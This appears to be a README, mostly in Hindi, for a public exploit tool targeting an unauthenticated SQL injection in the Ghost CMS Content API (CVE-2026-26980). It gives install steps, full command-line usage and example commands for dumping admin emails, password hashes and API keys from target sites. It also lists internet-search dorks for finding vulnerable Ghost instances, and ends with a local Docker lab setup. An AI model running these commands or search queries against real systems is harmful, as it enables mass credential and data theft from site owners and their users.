
Ghost CMS Content API के लिए बिना प्रमाणीकरण वाला SQL इंजेक्शन एक्सप्लॉइट (CVE-2026-26980); सक्रिय/निष्क्रिय जाँच और CSV निर्यात के साथ SQLite/MySQL से डेटाबेस टेबल डंप करता है।
Ghost के Content API में एक SQL इंजेक्शन भेद्यता मौजूद थी जो अनप्रमाणित हमलावरों को डेटाबेस से मनमाना डेटा पढ़ने की अनुमति देती थी।
| CVE | CVE-2026-26980 |
| CVSS | 9.4 (गंभीर) |
| प्रभावित | Ghost >= 3.24.0, <= 6.19.0 |
| फिक्स्ड | 6.19.1 |
| प्रकटीकरण | 2026-02-20 |
| श्रेय | Nicholas Carlini |
| सार्वजनिक एक्सप्लॉइट | vognik |
| प्रकार | Content API के माध्यम से अनप्रमाणित SQLi → मनमाना DB पढ़ना |
git clone https://github.com/vognik/CVE-2026-26980.git
cd CVE-2026-26980
pip install -r ./requirements.txt
usage: main.py [-h] -u URL [-a KEY] [-p PATH] [-k] [-c MODE] [-d {sqlite,mysql}] [-T NAME] [-C COL1,COL2] [-t N] [-o FILE]
options:
-h, --help show this help message and exit
Connection settings:
-u, --url URL Set target Ghost instance URL
-a, --api-key KEY Set Content API key (skips auto-discovery)
-p, --api-path PATH Set Content API path (default: /ghost/api/content/)
-k, --insecure Skip SSL certificate verification
Extraction settings:
-c, --check MODE Verify vulnerability: passive (meta tags) or active (SQL error)
-d, --dbms {sqlite,mysql}
Select database engine (default: sqlite)
-T, --table NAME Set database table to dump (e.g., users, api_keys)
-C, --columns COL1,COL2
Set columns to extract (comma-separated)
-t, --threads N Set number of concurrent threads (default: 15)
Output settings:
-o, --output FILE Save results to the specified CSV file
Usage examples:
python3 main.py -u http://target.com
(Quickly extract admin email and password hash from a default SQLite setup)
python3 main.py -u http://target.com -c passive
(Check the site for the vulnerability using the meta tag on the main page)
python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv
(Dump the "email" and "password" columns from the "users" table and save the result to "result.csv")
python3 main.py -u http://target.com -d mysql -T api_keys -t 25
(Dump all API keys from the "api_keys" table using 25 threads)
Note: Most production Ghost instances use MySQL. Local/Small blogs use SQLite.

| Shodan | http.html:"data-ghost=" |
| Zoomeye | http.body="data-ghost=" |
| Fofa | body="data-ghost=" |
| Censys | web.software.vendor = "ghost" |
docker run -p 8080:2368 -e database__client=sqlite3 -e database__connection__filename=/var/lib/ghost/content/data/ghost.db -e url=http://localhost:2368 -e port=2368 ghost:6.16.1
cd lab
docker compose up
Nicholas Carlini - Black-hat LLMs | [un]prompted 2026
यह प्रोजेक्ट GPL-3.0 लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।
विवरण के लिए LICENSE फ़ाइल देखें।